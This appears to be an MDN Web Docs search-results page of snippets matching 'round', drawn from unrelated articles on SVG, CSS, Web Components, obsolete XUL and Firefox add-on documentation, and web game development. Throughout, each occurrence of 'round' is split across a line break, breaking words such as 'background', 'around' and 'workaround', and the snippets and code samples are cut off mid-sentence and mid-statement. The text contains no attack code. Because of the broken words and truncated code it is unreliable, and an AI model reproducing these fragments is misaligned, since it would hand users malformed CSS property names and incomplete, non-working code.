round-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" /> </svg> this example shows again the small square shown above that this time is also rotated by 45 degrees.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
overview this article and its associated example shows how to use inline svg to provide a backg
round picture for a form.
...(another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive backg
round the approach is backwards compatible to browsers that do not support svg; simply, no backg
round appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to ad...
... the style attribute pins the svg element to the backg
round of the form.
Tutorials
how do i decorate my webpage with backg
round images and colors?
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backg
rounds and borders, debugging, and lots more.
...we
round off the module by looking at applying custom fonts to your page, and styling lists and links.
Using templates and slots - Web Components
so for example: <template id="my-paragraph"> <style> p { color: white; backg
round-color: #666; padding: 5px; } </style> <p>my paragraph</p> </template> now we can use it by just adding it to our html document: <my-paragraph></my-paragraph> note: templates are well-supported in browsers; the shadow dom api is supported by default in firefox (version 63 onwards), chrome, opera, safari, and edge (starting with version 79).
...ate with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document fragment containing some named slots: <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { backg
round: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot ...
...: #217ac0; font-size: 110% } dt { font-family: consolas, "liberation mono", courier } dd { margin-left: 16px } </style> </head> <body> <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { backg
round: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name"><<slot name="element-name">need name</slot>></...
page-mod - Archive of obsolete content
in earlier versions of this module, you couldn't use relative urls in stylesheets loaded in this way, and you had to use a worka
round.
... in current versions this has been fixed, and the worka
round is no longer needed.
io/text-streams - Archive of obsolete content
writeasync(str, callback) writes a string on a backg
round thread.
... after the write completes, the backing stream's buffer is flushed, and both the stream and the backing stream are closed, also on the backg
round thread.
cfx - Archive of obsolete content
for example, if you type: cfx run ---no-run you will see something like: to launch the application, enter the following command: /path/to/firefox/firefox-bin -profile /path/to/profile/tmpjdnlp6.mozrunner -foreg
round -no-remote this enables you to run the add-on without going through cfx, which might be useful if you want to run it inside a debugger like gdb.
... for example, if you type: cfx run ---no-run you will see something like: to launch the application, enter the following command: /path/to/firefox/firefox-bin -profile /path/to/profile/tmpjdnlp6.mozrunner -foreg
round -no-remote this enables you to run the add-on without going through cfx, which might be useful if you want to run it inside a debugger like gdb.
Displaying annotations - Archive of obsolete content
annotation panel html <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style media="all" type="text/css"> body { font: 100% arial, helvetica, sans-serif; backg
round-color: #f5f5f5; } div { text-align:left; } </style> </head> <body> <div id="annotation"> </div> </body> </html> save this in data/annotation as annotation.html.
...you should see a yellow border a
round the item you annotated: when you move your mouse over the item, the annotation should appear: obviously this add-on isn't complete yet.
Modifying the Page Hosted by a Tab - Archive of obsolete content
the script is specified using the contentscript option, and just draws a red border a
round the page.
...you should see a red border appear a
round the page, like this: keeping content scripts in a separate file in the example above, we've passed in content script as a string.
Forms related code snippets - Archive of obsolete content
document.attachevent("onmousedown", ondocclick) : (document.onmousedown = ondocclick); })(); </script> <style type="text/css"> table.zdp-calendar { border: 1px solid #666666; border-collapse: collapse; backg
round-color: #cccccc; cursor: default; font-family: verdana; font-size: 12px; } table.zdp-calendar th { border: 1px solid #666666; font-weight: bold; backg
round-color: #ff6666; } table.zdp-calendar td { border: 1px solid #666666; text-align: center; } table.zdp-calendar caption { backg
round-color: #333333; padding: 2px; } span.zdp-current-month { display: inline-block; width...
...: auto; height: 16px; padding: 0 2px; line-height: 16px; margin: 0 auto; backg
round-color: #999999; border-radius: 5px; } span.zdp-increase-month, span.zdp-increase-year, span.zdp-decrease-month, span.zdp-decrease-year { display: block; padding: 0 2px; height: 16px; font-weight: bold; backg
round-color: #999999; border-radius: 5px; cursor: pointer; } span.zdp-decrease-month, span.zdp-decrease-year { float: left; margin-right: 2px; } span.zdp-increase-month, span.zdp-increase-year { float: right; margin-left: 2px; } td.zdp-active-cell { padding: 1px 3px; cursor: pointer; color: #000000; text-align: center; vertical-align: middle; } td.zdp-active-cell:hover { backg
round-color: #999999; cursor: pointer; } td.zdp-empty-cell { cursor: not-allowe...
Miscellaneous - Archive of obsolete content
in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish a
round here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see a
round here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the application.
... 2 move a
round in the history.
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
try inserting one within the quicknote_savenote function, a
round line 345 (figure 3).
... listing 2: content for test_calc.js (first-
round test case) var testcase = mozlab.mozunit.testcase; var assert = mozlab.mozunit.assertions; var tc = new testcase('rpn calc testcase'); var module = new modulemanager(); var rpncalc = module.require('package', 'calc'); tc.tests = { '2 1 +': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.plus(); assert.equals(calc.pop(), 3); ...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
xul, on the other hand, was conceived from the g
round up as a markup language for user interfaces, and makes it possible to insert ui components with sophisticated features just by writing tags, without any particular scripting.
...by referring to a special style sheet within chrome://global/skin/, we can make label and button sizes, window backg
round color, etc, match the currently selected theme in firefox.
Adding sidebars - Archive of obsolete content
one common use for a stack is to have an image backg
round that stretches horizontally and vertically depending on the size of the foreg
round object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... --> </hbox> </stack> this worka
round is necessary because you can't have an backg
round image stretch using css.
Introduction - Archive of obsolete content
this will help you understand the culture that sur
rounds the mozilla community.
...it is this very powerful platform that has allowed such a fast growth of the development community sur
rounding mozilla and firefox.
XUL user interfaces - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: start; backg
round-color: -moz-dialog; font: -moz-dialog; padding: 2em; } .head-1 { font-weight: bold; font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { margin-right: .5em; } .demo-group row { margin-bottom: .5em; } .demo-group .buttons { -moz-box-pack: end; } /* the day-of-...
... using this knowledge, add a rule to the stylesheet that makes the backg
round of the date box pale blue when it has keyboard focus (but white when keyboard focus is somewhere else).
Getting Started - Archive of obsolete content
css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put a
round them, and so on.
...change the backg
round-color: to darkblue and the color: to white, and save the file.
Getting Started - Archive of obsolete content
css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put a
round them, etc.
...change the backg
round-color: to darkblue and the color: to white.
Fast Graphics Performance With HTML - Archive of obsolete content
use <div><div style="backg
round:white; position:fixed">simple</div>lots of text...</div> instead of <div><div style="position:fixed">simple</div>lots of text...</div> make the content of scrollable sub frames opaque e.g.
... use <div style="overflow:scroll><div style="backg
round:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
Menu - Archive of obsolete content
see bug 534014 for details and a worka
round.
... to work a
round this limitation, try using beforeshow and examining the node that the user clicked.
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
useragent sniffing makes sense in very limited cases where you really do want to know the exact browser in use, such as when you need to work a
round a bug in a specific version of a specific browser.
...it does not, however, support outerhtml (which adds markup a
round an element, and has no standard equivalent) and innertext (which sets the text value of the node, and which you can achieve in mozilla by using textcontent).
Mozilla Crypto FAQ - Archive of obsolete content
provides historical context and technical backg
round for the recent political battles a
round encryption and privacy issues.
...an in-depth (but badly outdated) discussion of the legal framework for regulation of cryptography in various countries a
round the world, including the u.s.
Space Manager High Level Design - Archive of obsolete content
overview the space manager and associated classes and structures are used by block and line layout to manage rectangular regions that are occupied and available, for correct handling of floated elements and the elements that flow a
round them.
...this information is used by block layout to correctly compute where other floated elements should be placed, and how much space is available to normal in-flow elements that flow a
round the floated bits.
Using XPInstall to Install Plugins - Archive of obsolete content
a worka
round to this would be to detect if initinstall has failed, and then invoke it again without the "=" string.
...n=6.5"; err = initinstall(software_name, plid, version); if (err != 0) { // install may have failed because of n6 and = // replace plid with a simple string err = initinstall(software_name, "mypluginstring", version); if (err != 0) cancelinstall(err); } note that above, the plid contains an "=" and in case the xpi package is running on browsers that treat "=" as an illegal token, the worka
round is to handle the error and invoke initinstall again.
iframe.transparent - Archive of obsolete content
« xul reference hometransparenttype: one of the values belowset the backg
round of an iframe as transparent.transparentthis results in the iframe's backg
round being transparent.
... this can be used to worka
round things like bug 540911 ...
width - Archive of obsolete content
<hbox> <hbox width="40" style="backg
round-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
... <vbox width="30" align="start" style="backg
round-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object.
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternatingbackg
round alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed col...
...hscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visuallyselected wait-cursor width windowtype wrap wrapa
round ...
Menus - Archive of obsolete content
nk links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackg
round sets an image as the desktop backg
round images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a...
... page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a backg
round image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source ...
Positioning - Archive of obsolete content
if a menupopup, panel or tooltip has a margin specified in a style sheet or using the inline style attribute, this margin will be applied a
round the outside of the popup.
...with these, you can record the left and top positions as the popup is moved a
round, and use the persist attribute to maintain these attributes across sessions.
Building Trees - Archive of obsolete content
for instance, consider the following css: treechildren::-moz-tree-cell(dave) { backg
round-color: lightgreen; } this would set the backg
round color of a cell to green for any cell with the “dave” property.
...ubject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <treechildren> <treeitem uri="?photo"> <treerow properties="?countrytitle"> <treecell src="?photo"/> </treerow> </treeitem> </treechildren> </action> </rule> you might use the following css to change the border a
round rows listing a particular country: treechildren::-moz-tree-row(netherlands) { border: green 1px solid; } the result of this example is a tree where one row has a green border a
round it.
textbox (Toolkit autocomplete) - Archive of obsolete content
there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wrapa
round, hidespinbuttons, and textbox.value.
... inputfield type: textbox element in mozilla, the xul textbox is implemented as a wrapper a
round an html input element.
Textbox (XPFE autocomplete) - Archive of obsolete content
there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wrapa
round, hidespinbuttons, and textbox.value.
... inputfield type: textbox element in mozilla, the xul textbox is implemented as a wrapper a
round an html input element.
Content Panels - Archive of obsolete content
first, each window could appear in a different location (although there are ways a
round this).
...this inner area displays a web page, but the web page cannot access the xul a
round it.
The Implementation of the Application Object Model - Archive of obsolete content
the native widgets also wouldn't be fully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered backg
round.
... of course you could always say that toolbars and dialogs just wouldn't be able to have backg
rounds with different colors, but that leads into the next point.
dialog - Archive of obsolete content
belaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is active (foreg
round).
... inactivetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is inactive (backg
round).
groupbox - Archive of obsolete content
typically, the groupbox will be drawn with a border a
round it and the caption either above or over the top border, however the actual appearance will be platform specific.
... on linux, for instance, only the caption appears with no border a
round the group.
iframe - Archive of obsolete content
transparenttype: one of the values belowset the backg
round of an iframe as transparent.transparentthis results in the iframe's backg
round being transparent.
... this can be used to worka
round things like bug 540911 inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
prefwindow - Archive of obsolete content
ref-backup" name="myapp.mybackups" type="bool"/> <preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/> </preferences> <checkbox label="automatically save backups" preference="pref-backup"/> <textbox label="duration:" preference="pref-backupduration"/> </prefpane> </prefwindow> attributes activetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is active (foreg
round).
... inactivetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is inactive (backg
round).
scrollbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] when a container's contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll a
round in the container.
...the user can adjust the position of the scroll bar by clicking arrows on either end of the scroll bar or by dragging the scroll bar thumb a
round.
tab - Archive of obsolete content
this is primarily useful for themes so that they can adjust the appearance of the area a
round the selected tab.
...this is primarily useful for themes so that they can adjust the appearance of the area a
round the selected tab.
wizard - Archive of obsolete content
ocument.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> attributes activetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is active (foreg
round).
... inactivetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is inactive (backg
round).
Using SOAP in XULRunner 1.9 - Archive of obsolete content
though jquery is listed as a dependency, it can be worked a
round easily.
...rset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackg
roundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclie...
Making sure your theme works with RTL locales - Archive of obsolete content
/end rules instead to ensure rtl compatibility: -moz-padding-start -moz-padding-end -moz-margin-start -moz-margin-end -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width #urlbar-search-splitter { min-width: 8px; -moz-margin-start: -4px; border: none; backg
round: transparent; } testing your theme testing your theme for rtl compatibility is easy, and you do not even have to go through the hassle of downloading a rtl locale.
... the force rtl extension enables you to switch the interface of firefox from ltr to rtl and the other way a
round dynamically by toggling a menu item.
Theme changes in Firefox 3.5 - Archive of obsolete content
for the windows and linux native default themes, the gripper is now drawn as a part of the backg
round of the scrollbar thumb widget.
... third-party themes can still draw a gripper for the scrollbar thumb button by applying a centered backg
round image to the scrollbar's thumb button.
-ms-wrap-flow - Archive of obsolete content
this property specifies that the exclusion element (the exclusion) can be positioned in various ways, and that inline content will wrap a
round the exclusion in a way similar to how it wraps a
round floated elements.
...in that case, the element contributes its border box to its containing block's wrapping context and content flows a
round it according to the clear property.
::-ms-browse - Archive of obsolete content
-ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-styl...
...ze font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red; backg
round-color: yellow; } result output example specifications not part of any specification.
::-ms-fill-lower - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width specifications not part of any specification.
::-ms-fill-upper - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-fill-upper specifications not part of any specification.
::-ms-fill - Archive of obsolete content
animation-name backg
round-clip, backg
round-color, backg
round-image, backg
round-origin, backg
round-repeat, and backg
round-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform...
...-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill { backg
round-color: orange; } result a progress bar using this style might look something like this: ...
::-ms-reveal - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-reveal specifications not part of any specification.
::-ms-thumb - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification.
::-ms-ticks-after - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-after ...
::-ms-ticks-before - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-before ...
::-ms-track - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-track see also ::-ms-thumb ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-runnable-track ::-moz-range-track css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-value - Archive of obsolete content
backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color c...
...ursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-value example input::-ms-value { color: lime; font-style: italic; } to disable the default styling: select::-ms-value { backg
round-color: transparent; color: inherit; } specifications not part of any specification.
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be sur
rounded by html comment tags to prevent <script> unaware browsers from displaying javascript code to the user.
...variables and expressions can be used to create attribute values by simply wrapping them with braces ({}) and omitting quotation marks that would normally go a
round an attribute value, as the following example illustrates: var a = 2; var b = <foo bar={a}>"hi"</foo>; upon execution the variable is evaluated and quotes are automatically added where appropriate.
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
this led to a number of worka
rounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases.
...this represented a violation of css inheritance rules, and led many authors to create worka
rounds such as: <style type="text/css"> body, table, td {font-size: 11px;} </style> recreating legacy behavior to avoid "breaking" older pages that were authored with old-browser behaviors in mind, mozilla and related browsers will mimic old browsers when in "quirks" mode.
The Business Benefits of Web Standards - Archive of obsolete content
in a g
round breaking development microsoft have announced a new meta tag that can be used in sites to trigger ie 8 into web standards mode.
... because standards are very well documented, another person taking over some standard-compliant code can hit the g
round running - and will not need to become familiar with the previous developer's coding practices.
Using the Right Markup to Invoke Plugins - Archive of obsolete content
in order to work a
round this, developers are encouraged to use the data attribute to the object element: <object type="application/x-shockwave-flash" data="animation.swf"..../>.
...here is an example: <object type="application/x-java-applet;jpi-version=1.4.1_01" width="460" height="160"> <param name="code" value="animator.class" /> <param name="imagesource" value="images/beans" /> <param name="backg
roundcolor" value="0xc0c0c0" /> <param name="endimage" value="10" /> <param name="soundsource" value="audio"> <param name="soundtrack" value="spacemusic.au" /> <param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" /> <param name="pause" value="200" /> <p>you need the java plugin.
Anatomy of a video game - Game development
you could draw every pixel individually on a canvas or you could layer dom elements (including multiple webgl canvases with transparent backg
rounds if you want) into a complex hierarchy.
...the update method sets checkpoints and, as frequently as the system allows, the render method draws instants of time a
round them.
Examples - Game development
save the day fly your rescue chopper a
round the disaster area and save the stranded victims (ga.me.) polycraft a shipwreck 'n survive game.
... rainbow firestorm rainbow-coloured particles, falling like rain, bouncing a
round on a terrain of orbs.
Building up a basic demo with PlayCanvas editor - Game development
you can drag it a
round or apply new values in the right panel.
...add the following line inside this function, to rotate the cube on every frame: this.entity.rotate(dt*10, dt*20, dt*30); in the line above this.entity refers to the object to which the script will be attached (the box); using the dt variable, which contains the delta time passed since the previous frame, we can rotate the box by a different amount a
round all three axes.
GLSL Shaders - Game development
to speed up the backg
round code we will be using the three.js api.
...we've used three.js here to make the backg
round code a lot simpler and clearer to understand, so you can just focus on the shader code.
WebVR — Virtual Reality for the Web - Game development
for example, the below code outputs position information on the screen: function setview() { var posstate = gpositionsensor.getstate(); if(posstate.hasposition) { pospara.textcontent = 'position: x' +
roundtotwo(posstate.position.x) + " y" +
roundtotwo(posstate.position.y) + " z" +
roundtotwo(posstate.position.z); xpos = -posstate.position.x * width * 2; ypos = posstate.position.y * height * 2; if(-posstate.position.z > 0.01) { zpos = -posstate.position.z; } else { zpos = 0.01; } } ...
...quite the contrary as having a basic shapes flying a
round in high framerate can make a lot.
Unconventional controls - Game development
leapmotion is becoming more and more popular due to very good integration with vr headsets — demoing rainbow membrane on an oculus rift with leap motion attached to it was voted one of the best webvr experiences by javascript developers visiting demo booths at conferences a
round the world.
...er all the event listeners for keyboard and mouse, but before the draw method: var todegrees = 1 / (math.pi / 180); var horizontaldegree = 0; var verticaldegree = 0; var degreethreshold = 30; var grabstrength = 0; right after that we use the leap's loop method to get the information held in the hand variable on every frame: leap.loop({ hand: function(hand) { horizontaldegree = math.
round(hand.roll() * todegrees); verticaldegree = math.
round(hand.pitch() * todegrees); grabstrength = hand.grabstrength; output.innerhtml = 'leap motion: <br />' + ' roll: ' + horizontaldegree + '° <br />' + ' pitch: ' + verticaldegree + '° <br />' + ' strength: ' + grabstrength + ''; } }); the code above is calculating and assigning th...
Square tilemaps implementation: Scrolling maps - Game development
the main difference is that we are adding the offsetx and offsety values to the target x and y coordinates, and these values are
rounded, to avoid artifacts that would result from the camera pointing at positions with floating point numbers.
... var y = (r - startrow) * map.tsize + offsety; if (tile !== 0) { // 0 => empty tile this.ctx.drawimage( this.tileatlas, // image (tile - 1) * map.tsize, // source x 0, // source y map.tsize, // source width map.tsize, // source height math.
round(x), // target x math.
round(y), // target y map.tsize, // target width map.tsize // target height ); } } } demo our scrolling tilemap implementation demo pulls the above code together to show what an implementation of this map looks like.
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
to represent a color through which the backg
round can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... as you can see, the color without an alpha channel completely blocks the backg
round text, while the box with the alpha channel leaves it visible through the purple backg
round color.
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
for example, backg
round shorthand property values are made up of several backg
round-* longhand properties.
... the canonical order of those longhand values is defined as backg
round-image backg
round-position backg
round-size backg
round-repeat backg
round-attachment backg
round-origin backg
round-clip backg
